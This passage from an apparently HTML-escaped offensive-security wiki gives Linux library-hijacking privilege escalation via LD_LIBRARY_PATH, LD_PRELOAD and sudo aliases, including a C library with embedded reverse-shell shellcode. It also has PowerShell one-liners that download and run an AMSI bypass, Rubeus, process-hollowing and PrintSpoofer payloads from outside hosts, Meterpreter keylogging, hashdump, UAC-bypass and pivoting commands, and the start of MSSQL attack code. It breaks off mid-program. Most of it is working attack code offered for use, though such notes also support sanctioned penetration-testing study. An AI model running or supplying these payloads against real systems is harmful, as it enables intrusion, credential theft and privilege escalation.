export LD_LIBRARY_PATH=/home/offsec/ldlib/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Run the application&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
top&lt;br /&gt;
DLL HIJACKING IN PROGRESS&lt;br /&gt;
top - 14:55:15 up 9 days, 4:35, 2 users, load average: 0.01, 0.01, 0.00 Tasks: 164 total, 1 running, 92 sleeping, 0 stopped, 0 zombie ...&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Look for the file our library was supposed to modify in /tmp.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ls -al /tmp/haxso.txt&lt;br /&gt;
-rw-rw-r-- 1 offsec offsec 0 Jul 10 17:12 /tmp/haxso.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Privilege Escalation &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Create a .bashrc alias for sudo to include LD_LIBRARY_PATH and use the malicious library example we created to escalate to root privileges.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Add the alias to the .bashrc:&lt;br /&gt;
&lt;br /&gt;
* Source the .bashrc to load the changes:&lt;br /&gt;
&lt;br /&gt;
* Now, run the top utility with sudo:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
alias sudo=&amp;quot;sudo LD_LIBRARY_PATH=/home/offsec/ldlib&amp;quot;&lt;br /&gt;
source ~/.bashrc&lt;br /&gt;
sudo top  &lt;br /&gt;
ls -al /tmp/haxso.txt&lt;br /&gt;
-rw-r--r-- 1 root root 0 Aug 11 14:51 /tmp/haxso.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Check the /tmp directory for the haxso.txt file. This time it should be owned by the root user, indicating that the malicious library executed with elevated privileges.&lt;br /&gt;
&lt;br /&gt;
=== LD_PRELOAD Exploitation ===&lt;br /&gt;
&lt;br /&gt;
The environment variable LD_PRELOAD, when set on a system, instructs the dynamic linking loader to prioritize a specific shared library to load first. Consequently, the functions within this library take precedence over others that have an identical method signature from different libraries.&lt;br /&gt;
&lt;br /&gt;
==== Reverse shell ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Identifying Potential Applications&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Target applications that the victim frequently uses (e.g.,  ​cp  utility).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Tracing Library Calls&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ ltrace cp&lt;br /&gt;
strrchr(&amp;quot;cp&amp;quot;, &#039;/&#039;) = nil&lt;br /&gt;
...&lt;br /&gt;
geteuid() = 1000&lt;br /&gt;
getenv(&amp;quot;POSIXLY_CORRECT&amp;quot;) = nil&lt;br /&gt;
...&lt;br /&gt;
fflush(0x7f717f0c0680) = 0&lt;br /&gt;
fclose(0x7f717f0c0680) = 0&lt;br /&gt;
+++ exited (status 1) +++&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Creating a Malicious Shared Library&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Objective&#039;&#039;&#039;: Redefine the  ​geteuid​  function.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Code Sample&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#define _GNU_SOURCE&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
// To compile:&lt;br /&gt;
// gcc -Wall -fPIC -z execstack -c -o sharedLibrary_LD_PRELOAD.o sharedLibrary_LD_PRELOAD.c&lt;br /&gt;
// gcc -shared -o sharedLibrary_LD_PRELOAD.so sharedLibrary_LD_PRELOAD.o -ldl&lt;br /&gt;
// msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.49.67 LPORT=80 -f c&lt;br /&gt;
unsigned char buf[] =&lt;br /&gt;
&amp;quot;\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48&amp;quot;&lt;br /&gt;
&amp;quot;\xb9\x02\x00\x00\x50\xc0\xa8\x31\x43\x51\x48\x89\xe6\x6a\x10&amp;quot;&lt;br /&gt;
&amp;quot;\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58&amp;quot;&lt;br /&gt;
&amp;quot;\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f&amp;quot;&lt;br /&gt;
&amp;quot;\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05&amp;quot;;&lt;br /&gt;
uid_t geteuid(void)&lt;br /&gt;
{&lt;br /&gt;
        // Get the address of the original &#039;geteuid&#039; function&lt;br /&gt;
        typeof(geteuid) *old_geteuid;&lt;br /&gt;
        old_geteuid = dlsym(RTLD_NEXT, &amp;quot;geteuid&amp;quot;);&lt;br /&gt;
        // Fork a new thread based on the current one&lt;br /&gt;
        if (fork() == 0)&lt;br /&gt;
        {&lt;br /&gt;
                // Execute shellcode in the new thread&lt;br /&gt;
                intptr_t pagesize = sysconf(_SC_PAGESIZE);&lt;br /&gt;
                // Make memory executable (required in libs)&lt;br /&gt;
                if (mprotect((void *)(((intptr_t)buf) &amp;amp; ~(pagesize - 1)), pagesize, PROT_READ|PROT_EXEC)) {&lt;br /&gt;
                        // Handle error&lt;br /&gt;
                        perror(&amp;quot;mprotect&amp;quot;);&lt;br /&gt;
                        return -1;&lt;br /&gt;
                }&lt;br /&gt;
                // Cast and execute&lt;br /&gt;
                int (*ret)() = (int(*)())buf;&lt;br /&gt;
                ret();&lt;br /&gt;
        }&lt;br /&gt;
        else&lt;br /&gt;
        {&lt;br /&gt;
                // Original thread, call the original function&lt;br /&gt;
                printf(&amp;quot;[Hijacked] Returning from function...\n&amp;quot;);&lt;br /&gt;
                return (*old_geteuid)();&lt;br /&gt;
        }&lt;br /&gt;
        // This shouldn&#039;t really execute&lt;br /&gt;
        printf(&amp;quot;[Hijacked] Returning from main...\n&amp;quot;);&lt;br /&gt;
        return -2;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Compilation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -Wall -fPIC -z execstack -c -o evil_geteuid.o evileuid.c&lt;br /&gt;
gcc -shared -o sharedLibrary_LD_PRELOAD.so evil_geteuid.o -ldl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Triggering the Payload&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Setup&#039;&#039;&#039;: Prepare a listener for the payload&#039;s callback.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Execution without Preload&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cp /etc/passwd /tmp/testpasswd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Setting LD_PRELOAD and Execution&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
export LD_PRELOAD=/home/kali/sharedLibrary_LD_PRELOAD.so&lt;br /&gt;
cp /etc/passwd /tmp/testpasswd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Privilege Escalation ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Clear LD_PRELOAD&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
unset LD_PRELOAD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Note&#039;&#039;&#039;: If EUID doesn’t match real UID (e.g., when using sudo), dynamic linker ignores LD_PRELOAD.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Setting LD_PRELOAD with Sudo&#039;&#039;&#039;: Use an alias in  ​.bashrc​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
alias sudo=&amp;quot;sudo LD_PRELOAD=/home/kali/sharedLibrary_LD_PRELOAD.so&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-13.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Reload &#039;&#039;&#039;&#039;&#039;&#039; &#039;&#039;&#039;&#039;&#039;&#039;​&#039;&#039;&#039;&#039;&#039;&#039;.bashrc&#039;&#039;&#039;&#039;&#039;&#039;​&#039;&#039;&#039;&#039;&#039;&#039; &#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
source ~/.bashrc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Now run the command&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo cp /etc/passwd /tmp/passwd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-15.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Load Exe in Memory ==&lt;br /&gt;
&lt;br /&gt;
* To load an exe file to memory you have to have access to the source code in order to find out what the namespace is and the class.&lt;br /&gt;
&lt;br /&gt;
* Below are example of how to run &#039;&#039;&#039;Rubeus.exe &#039;&#039;&#039;in memory and run &#039;&#039;&#039;ProcessHollowing payload&#039;&#039;&#039; in memory and run &#039;&#039;&#039;Mimikatz &#039;&#039;&#039;from memory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
##  Load Rubeus.exe to memory ##&lt;br /&gt;
# First disable AMSI&lt;br /&gt;
(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/amsi.txt&#039;) | IEX&lt;br /&gt;
# Download Rubeus into memory&lt;br /&gt;
$data = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.119.120/Rubeus.exe&#039;)&lt;br /&gt;
# Load it as an assembly&lt;br /&gt;
$assem = [System.Reflection.Assembly]::Load($data)&lt;br /&gt;
# Invoke a function&lt;br /&gt;
[Rubeus.Program]::Main(&amp;quot;purge&amp;quot;.Split())&lt;br /&gt;
# Examples&lt;br /&gt;
[Rubeus.Program]::Main(&amp;quot;s4u /user:web01$ /rc4:12343649cc8ce713962859a2934b8cbb /impersonateuser:administrator /msdsspn:cifs/file01 /ptt&amp;quot;.Split())&lt;br /&gt;
[Rubeus.Program]::Main(&amp;quot;s4u /user:svc_file /rc4:08985D3B7B336B046AB92E0B2AAEEAF6 /impersonateuser:administrator /msdsspn:cifs/file02 /ptt&amp;quot;.Split())&lt;br /&gt;
# One liner&lt;br /&gt;
$data = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.49.79/Rubeus.exe&#039;);$assem = [System.Reflection.Assembly]::Load($data);[Rubeus.Program]::Main(&amp;quot;hash /password:Password123&amp;quot;.Split())&lt;br /&gt;
&lt;br /&gt;
---------------------------------------&lt;br /&gt;
## Run ProcessHollowing in memory ##&lt;br /&gt;
# Where Proc_hol is the namespace, and Program is the class.&lt;br /&gt;
$data2 = (New-Object System.Net.WebClient).DownloadData(&#039;http://92.221.186.47/proc_hol.exe&#039;);$assem = [System.Reflection.Assembly]::Load($data2);[Proc_hol.Program]::Main(&amp;quot;&amp;quot;.Split())&lt;br /&gt;
---------------------------------------&lt;br /&gt;
## Using Invoke-ReflectivePEInjection.ps1.&lt;br /&gt;
# See OneNote for correct version.&lt;br /&gt;
# Load PrintSpoofer in memory&lt;br /&gt;
(New-Object System.Net.WebClient).DownloadString(&#039;http://example.com/Invoke-ReflectivePEInjection.ps1&#039;) | IEX&lt;br /&gt;
$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://example.com/PrintSpoofer.exe&#039;)&lt;br /&gt;
Invoke-ReflectivePEInjection -PEBytes $bytes -ExeArgs &amp;quot;-i -c cmd&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Metasploit Post Explotation ==&lt;br /&gt;
&lt;br /&gt;
[https://medium.com/@tanseejou97/tryhackme-metasploit-meterpreter-walkthrough-17e5bd9c0dc7#:~:text=POST-exploitation%20with%20Meterpreter%201%20Migrate%20migrate%20%5BPID%20of,locate%20files%20with%20potentially%20juice%20information.%204%20Shell [TryHackMe] Metasploit: Meterpreter — walkthrough | by Tanseejou | Medium]&lt;br /&gt;
&lt;br /&gt;
=== Metasploit Unleashed ===&lt;br /&gt;
&lt;br /&gt;
[https://www.offsec.com/metasploit-unleashed/ Metasploit Unleashed - Free Online Ethical Hacking Course | OffSec]&lt;br /&gt;
&lt;br /&gt;
== Running Metasploit as a Daemon ==&lt;br /&gt;
&lt;br /&gt;
To start Metasploit as a daemon, you need to run the msfd utility, which opens on port 55554 by default.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfd&lt;br /&gt;
[*] Initializing msfd...&lt;br /&gt;
[*] Running msfd...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To connect to the daemon, use netcat like the following example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/]&lt;br /&gt;
└─# nc 127.0.0.1 55554&lt;br /&gt;
  Metasploit Park, System Security Interface&lt;br /&gt;
  Version 4.0.5, Alpha E&lt;br /&gt;
  Ready...&lt;br /&gt;
  &amp;gt; access security&lt;br /&gt;
  access: PERMISSION DENIED.&lt;br /&gt;
  &amp;gt; access security grid&lt;br /&gt;
  access: PERMISSION DENIED.&lt;br /&gt;
  &amp;gt; access main security grid&lt;br /&gt;
  access: PERMISSION DENIED....and...&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
&lt;br /&gt;
       =[ metasploit v6.3.41-dev                          ]&lt;br /&gt;
+ -- --=[ 2371 exploits - 1230 auxiliary - 414 post       ]&lt;br /&gt;
+ -- --=[ 1391 payloads - 46 encoders - 11 nops           ]&lt;br /&gt;
+ -- --=[ 9 evasion                                       ]&lt;br /&gt;
Metasploit Documentation: https://docs.metasploit.com/&lt;br /&gt;
[*] Starting persistent handler(s)...&lt;br /&gt;
msf6 &amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter MindMap ===&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/09/Windows-Meterpreter.pdf Windows-Meterpreter][https://book.ghanim.no/wp-content/uploads/2023/09/Windows-Meterpreter.pdf Download]&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter Commands ===&lt;br /&gt;
&lt;br /&gt;
* Source: [https://sergio-f20-notes.gitbook.io/hacking/8.-tunneling/c2-command-and-control/metasploit/meterpreter-commands Meterpreter Commands - Hacking (gitbook.io)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Basics&lt;br /&gt;
help --&amp;gt; List available commands&lt;br /&gt;
sysinfo --&amp;gt; Displays system  info&lt;br /&gt;
getuid --&amp;gt; List current session owner&lt;br /&gt;
sessions -i 2 --&amp;gt; Change to session 2&lt;br /&gt;
shell --&amp;gt; Drop to interactive shell&lt;br /&gt;
channel -i 1 --&amp;gt; Change to shell in channel 1&lt;br /&gt;
background --&amp;gt; Background session to interact with msfconsole&lt;br /&gt;
upload {local path} {victim path} --&amp;gt; Upload a file&lt;br /&gt;
download {path} --&amp;gt; Download file&lt;br /&gt;
reg {Command} --&amp;gt; Interacts with registry (reg by itself will list syntax)&lt;br /&gt;
execute -f cmd.exe -i --&amp;gt; Execute cmd.exe and interact&lt;br /&gt;
execute -f cmd.exe -i -H -t --&amp;gt; Execute cmd as hidden process and with all tokens&lt;br /&gt;
# Powershell&lt;br /&gt;
load powershell&lt;br /&gt;
powershell_execute --&amp;gt; Execute a PowerShell statement, including complex-statements separated by semicolons&lt;br /&gt;
powershell_import --&amp;gt; Import a local PowerShell script to execute on the remote system over the Meterpreter channel&lt;br /&gt;
powershell_shell --&amp;gt; Launch an interactive PowerShell shell&lt;br /&gt;
powershell_session_remove --&amp;gt; Used to remove a PowerShell session when created using execute/import/shell with the -s argument&lt;br /&gt;
# Host Reconnaissance&lt;br /&gt;
# List running processes on a system&lt;br /&gt;
ps --&amp;gt; List processes&lt;br /&gt;
getpid --&amp;gt; List current PID&lt;br /&gt;
migrate {PID} --&amp;gt; Migrate to anothe PID&lt;br /&gt;
post/windows/manage/migrate --&amp;gt; Make meterpreter migrate to another process.&lt;br /&gt;
run service_manager -l --&amp;gt; Lists running services on Windows.&lt;br /&gt;
If we are against a non-interactive logon in which the explorer.exe process does not exist, we can create a hidden instance of notepad and migrate into it:&lt;br /&gt;
execute -H -f notepad&lt;br /&gt;
migrate {PID}&lt;br /&gt;
# Screenshots&lt;br /&gt;
screengrab --&amp;gt; Run plugin to capture screenshot of user session&lt;br /&gt;
# Keylogger&lt;br /&gt;
keyscan_start --&amp;gt; Start keylogger&lt;br /&gt;
keyscan_stop --&amp;gt; Stop keylogger&lt;br /&gt;
keyscan_dump --&amp;gt; Dump keylogger&lt;br /&gt;
# Privilege Escalation&lt;br /&gt;
getsystem --&amp;gt; Attempts to elevate privileges.&lt;br /&gt;
post/windows/gather/win_privs --&amp;gt; Determine privilege information.&lt;br /&gt;
exploit/windows/local/bypassuac_vbs --&amp;gt; Attempts to bypass UAC in order to escalate privileges.&lt;br /&gt;
windows/local/bypassuac_fodhelper --&amp;gt; Attempts to bypass UAC with fodhelper method, this should work w/ defender diasbled.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Post-Explotation with Meterpreter ===&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;help&amp;lt;/code&amp;gt;: List available commands.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Migrate&#039;&#039;&#039;: Migrate to another process with &amp;lt;code&amp;gt;migrate [PID]&amp;lt;/code&amp;gt;.&lt;br /&gt;
Used for: keystroke capturing (&amp;lt;code&amp;gt;keyscan_start&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;keyscan_stop&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;keyscan_dump&amp;lt;/code&amp;gt;) and ensuring session stability.&lt;br /&gt;
&lt;br /&gt;
* Caution: Migrating may lead to privilege loss.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Hashdump&#039;&#039;&#039;: Dump the SAM database containing NTLM-formatted passwords with &amp;lt;code&amp;gt;hashdump&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Search&#039;&#039;&#039;: Find files, e.g., &amp;lt;code&amp;gt;search -f flag2.txt&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Shell&#039;&#039;&#039;: Launch command shell on the target with &amp;lt;code&amp;gt;shell&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;search smb/psexec&amp;lt;/code&amp;gt; to search for a module.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;use [id]&amp;lt;/code&amp;gt; to use the module.&lt;br /&gt;
&lt;br /&gt;
* Set required fields using &amp;lt;code&amp;gt;set&amp;lt;/code&amp;gt; (e.g., &amp;lt;code&amp;gt;set RHOSTS [target-machine-ip]&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
* Confirm settings with &amp;lt;code&amp;gt;show options&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;run&amp;lt;/code&amp;gt; to start the exploit.&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter Extensions ===&lt;br /&gt;
&lt;br /&gt;
[https://www.hackers-arise.com/post/2018/11/26/metasploit-basics-part-21-post-exploitation-with-mimikatz Metasploit Basics, Part 21: Capturing Credentials with mimikatz (hackers-arise.com)]&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;load kiwi&amp;lt;/code&amp;gt; - Load Mimikatz in current process&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;load incognito&amp;lt;/code&amp;gt; - Incognito is a tool which can be used for privilege escalation, typically from Local Administrator to Domain Administrator.&lt;br /&gt;
&lt;br /&gt;
*  &amp;lt;code&amp;gt;load powershell&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;powershell_import PowerUp.ps1&amp;lt;/code&amp;gt; &amp;lt;-- from our local working dir.&lt;br /&gt;
&amp;lt;code&amp;gt;powershell_execute &amp;quot;Invoke-AllChecks&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter pivoting and Proxychains ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use autoroute module to create a pivot for the other network&lt;br /&gt;
use post/multi/manage/autoroute&lt;br /&gt;
set SUBNET 192.72.180.0&lt;br /&gt;
set SESSION 2&lt;br /&gt;
exploit&lt;br /&gt;
# Set up a system-wide proxy by using auxiliary/server/socks4a module. Change the default SRVPORT (i.e. 1080) to match the default port of proxychains i.e. 9050.&lt;br /&gt;
use auxiliary/server/socks_proxy # Or try socks5&lt;br /&gt;
show options&lt;br /&gt;
set SRVPORT 9050&lt;br /&gt;
exploit&lt;br /&gt;
# Now you can use proxychains&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter Portforward ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://www.offsec.com/metasploit-unleashed/portfwd/&lt;br /&gt;
# Add&lt;br /&gt;
# From the Meterpreter shell, the command is used in the following manner:&lt;br /&gt;
meterpreter &amp;gt; portfwd add –l 3389 –p 3389 –r  [target host]&lt;br /&gt;
# add will add the port forwarding to the list and will essentially create a tunnel for us. Please note, this tunnel will also exist outside the Metasploit console, making it available to any terminal session.&lt;br /&gt;
-l 3389 is the local port that will be listening and forwarded to our target. This can be any port on your machine, as long as it’s not already being used.&lt;br /&gt;
-p 3389 is the destination port on our targeting host.&lt;br /&gt;
-r [target host] is the our targeted system’s IP or hostname.&lt;br /&gt;
meterpreter &amp;gt; portfwd add –l 3389 –p 3389 –r 172.16.194.191&lt;br /&gt;
[*] Local TCP relay created: 0.0.0.0:3389 &amp;gt;-&amp;gt; 172.16.194.191:3389&lt;br /&gt;
meterpreter &amp;gt;&lt;br /&gt;
Figure 2 Adding a port&lt;br /&gt;
# Delete&lt;br /&gt;
## Entries are deleted very much like the previous command. Once again from an active Meterpreter session, we would type the following:&lt;br /&gt;
meterpreter &amp;gt; portfwd delete –l 3389 –p 3389 –r [target host]&lt;br /&gt;
meterpreter &amp;gt; portfwd delete –l 3389 –p 3389 –r 172.16.194.191&lt;br /&gt;
[*] Successfully stopped TCP relay on 0.0.0.0:3389&lt;br /&gt;
meterpreter &amp;gt;&lt;br /&gt;
# FLUSH: This argument will allow us to remove all the local port forward at once.&lt;br /&gt;
meterpreter &amp;gt; portfwd flush&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSI Backdoor ==&lt;br /&gt;
&lt;br /&gt;
If AlwaysInstalledElevated is set to one, you can elevate your privileges by backdooring an MSI installer.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/msi-wrapper&lt;br /&gt;
Download exemsi --&amp;gt; https://www.exemsi.com/download/&lt;br /&gt;
# Follow the guide fom hacktrics.&lt;br /&gt;
&lt;br /&gt;
------------------&lt;br /&gt;
# If you have a meterpreter session&lt;br /&gt;
exploit/windows/local/always_install_elevated&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSSQL ==&lt;br /&gt;
&lt;br /&gt;
=== Good source ===&lt;br /&gt;
&lt;br /&gt;
[https://notes.vulndev.io/wiki/redteam/payloads/windows/mssql MSSQL - Notes (vulndev.io)]&lt;br /&gt;
&lt;br /&gt;
=== MSSQL Attacks ===&lt;br /&gt;
&lt;br /&gt;
==== Enumeration ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Extract all accounts in use as SPN using built in MS tools&lt;br /&gt;
setspn -T corp1 -Q MSSQLSvc/*&lt;br /&gt;
# Use GetUserSPNs.ps1&lt;br /&gt;
https://github.com/nidem/kerberoast&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Authentication using C# ====&lt;br /&gt;
&lt;br /&gt;
* This C# code is a simple program that connects to a SQL Server instance, checks if the connection is successful, and then retrieves and displays the current logged-in user. It also checks if the logged-in user is a member of the &#039;public&#039; server role and displays the result.&lt;br /&gt;
&lt;br /&gt;
* The term &amp;lt;code&amp;gt;Integrated Security = True;&amp;lt;/code&amp;gt; in a SQL Server connection string indicates that the connection should use Windows Authentication rather than SQL Server Authentication.&lt;br /&gt;
&lt;br /&gt;
* It&#039;s considered more secure than SQL Server Authentication because it uses the underlying Windows account mechanisms, including password policies, Kerberos, and NTLM.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String querylogin = &amp;quot;SELECT SYSTEM_USER;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(querylogin, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            reader.Read();&lt;br /&gt;
            Console.WriteLine(&amp;quot;Logged in as: &amp;quot; + reader[0]);&lt;br /&gt;
            reader.Close();&lt;br /&gt;
